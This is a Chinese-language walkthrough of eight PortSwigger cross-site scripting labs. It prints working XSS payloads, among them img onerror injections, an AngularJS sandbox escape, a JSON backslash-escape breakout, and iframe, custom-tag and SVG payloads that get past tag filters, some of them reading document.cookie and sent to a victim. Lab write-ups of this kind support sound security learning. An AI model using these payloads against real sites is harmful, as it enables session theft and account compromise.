靶场地址
http://portswigger.net/web-security/all-labs#cross-site-scripting
第一关:DOM型(使用document.write函数)
1.点击随机商品后找到搜索框,后在URL中添加storeId查询参数,并输入一个随机字母数字字符串作为其值
2.在浏览器中,注意到随机字符串出现在选项表中
3.更改URL,在storeId参数中插入payload,出现弹窗即可通关
storeId="></select><img%20src=1%20οnerrοr=alert(1)>
第二关:DOM型(<和"的html编码)
1.一打开是熟悉的搜索框,在搜索框中输入随机字符串
2.在源代码查看插入的字符串哪里去了,发现随机字符串被包含在一个ng-app指令中
3.在搜索框中输入以下 AngularJS 表达式,出现弹窗后表示成功通关
{{$on.constructor('alert(1)')()}}
第三关:反射型
1.用Burp抓包,注意字符串反映在名为 search-results 的JSON响应中
2.尝试发现双引号被转义,但是反斜杠不会被转义
3.构造xss payload,出现弹窗即可通关
\"-alert(1) }//
原理:第一个反斜杠不转义,在转义第二个双引号时会添加一个反斜杠,于是产生的两个反斜杠会把转义取消,导致添加的双引号不被转义在结果中显示出来,减号被转义为双引号,后面的右花括号和两个正斜杠提前关闭JSON对象,并注释掉对象的其余部分
响应结构:{"searchTerm":"\\"-alert(1) }//", "results":[ ] }
第四关:存储型
1.在评论区写个评论后查看评论内容所在的位置,发现被包裹在<p>标签中
2.根据提示可知只需在payload开头加入一组尖括号,其后的尖括号将不受影响便可形成攻击
3.出现弹窗成功通关
第五关:反射型(标签过滤)
1.首先插入正常的xss代码观察是否被阻止,出现错误提示
<img src=1 οnerrοr=alert(document.cookie)>
2.使用Burpsuite抓包后测试哪些标记和属性被阻止
3.打开下面网页,复制所有标签
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
4.攻击后得到没有被过滤的是body和customs bags
5.接下来更换攻击位置来确定可以使用什么函数
复制所有函数
6.攻击后得到没有被过滤的函数
7.最后访问服务器构造不会被WAF过滤的payload
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20οnresize=print()%3E" οnlοad=this.style.width='100px'>
点击储存后发送给受害者后即可通关
第六关:反射型(屏蔽所有标记)
1.根据提示知道这关会阻止除自定义标记外的所有html标记,先构造自定义标签
<custom-tag οnfοcus='alert(document.cookie)' id='x' tabindex="1">
2.验证该payload是否有效,在URL后注释x,出现弹窗说明可以造成攻击
<custom-tag οnfοcus='alert(document.cookie)' id='x' tabindex="1">#x
3.在服务器中将构造的payload发送给受害者后即可通关
<script> location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28 document.cookie%29%20tabindex=1%3E#x'; </script>
第七关:反射型(使用SVG标记)
1.在搜索框中插入payload,发现被拦截
<img src=1 οnerrοr=alert(111)>
2.使用Burpsuite抓包并分析什么标签导致被拦截
3.打开下面网页,复制所有标签
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
4.攻击后得到没有被过滤的是 animatetransform,、image、svg、title
5.接下来更换攻击位置来确定可以使用什么函数
复制所有函数
6.得到没有被过滤的函数为onbegin
7.构造不被过滤的payload,出现弹窗即可通关
<svg><animatetransform onbegin='alert(111)'>
第八关:反射型(链接标签)
1.访问以下 URL,将 X 键设置为整个页面的访问键。当用户按下访问键时,就会出现弹窗
https://YOUR-LAB-ID.web-security-academy.net/?%27accesskey=%27x%27οnclick=%27alert(1)
2.触发弹窗(Windows:ALT+SHIFT+X)